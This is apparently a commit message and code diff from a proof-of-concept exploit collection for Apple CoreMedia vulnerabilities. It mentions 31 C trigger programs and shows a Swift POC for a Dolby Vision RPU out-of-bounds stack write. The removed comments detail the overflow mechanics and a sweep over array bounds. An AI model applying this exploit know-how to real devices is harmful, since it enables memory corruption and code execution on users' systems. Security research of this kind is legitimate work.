v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112688/CVE-2026-112688.swift

@@ -1,24 +1,8 @@
 // cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688
-// 原语: OOB 写 · 系统进程 · tier 2
-// Primitive: OOB write · system process · tier 2
-//
-// [zh] Dolby Vision RPU 扩展元数据块数组越界
-// 三个固定容量数组（A: 4×28 B，B: 8×14 B，C: 5×36 B）在写入前没有计数上界。27.0 的 cmp + b.hi 仅跳过计数自增，写入仍以未检查的计数为索引执行。数组
-// A 的越界写会越过 0x73b4 字节结构体末端，落入调用者的保存寄存器区 —— CMGetDMVersionLevelFromRPU 将该结构体置于自身栈帧。
-//
-// [en] Dolby Vision RPU extension metadata block array overrun
-// Three fixed-capacity arrays (A: 4×28 B, B: 8×14 B, C: 5×36 B) have no count bound before writing.
-// The 27.0 cmp + b.hi only skips the count increment; the write still executes indexed by the unchecked
-// count. Array A's overrun crosses the end of the 0x73b4-byte struct and lands in the caller's saved-register
-// area — CMGetDMVersionLevelFromRPU places that struct on its own stack frame.
-// ── 判别 / oracle ──
-// 该行是公告中唯一明确标注「任意代码执行」的 CoreMedia 条目。头部语法在源研究中仅重建至入口检查（magic / rpu_type / rpu_format 已在 macOS 孪生上实测通过），
-// 故此处采用参数化语法探针，以解析器自身返回的错误作为进度回执。
-//  变体 cm.rpu.sweep: RPU 块数与块类型扫描
-
+// Dolby Vision RPU extension metadata block array overrun
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -39,20 +23,8 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-/*
-// cm.rpu.sweep · CoreMedia · DOVI RPU · CVE-2026-112688
-// 原语: OOB 写 · 系统进程 · tier 2
-// Primitive: OOB write · system process · tier 2
-//
-// [zh] RPU 块数与块类型扫描
-// 依次用 block-id 1/2/6 分别打三个数组（容量 4/8/5），每种块类型从刚好越界一个到越界八个，记录解析器在哪个点开始拒绝或崩溃。
-//
-// [en] RPU block count and block type sweep
-// Block-ids 1/2/6 are aimed at the three arrays (capacities 4/8/5) in turn, each from one element
-// over capacity up to eight over, recording where the parser starts refusing or terminates.
-*/
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (RPUPayload) ──
+// ── seed construction (from Cinder27 Sources: RPUPayload) ──
 enum RPUPayload {
 struct BitWriter {
     private(set) var out: [UInt8] = []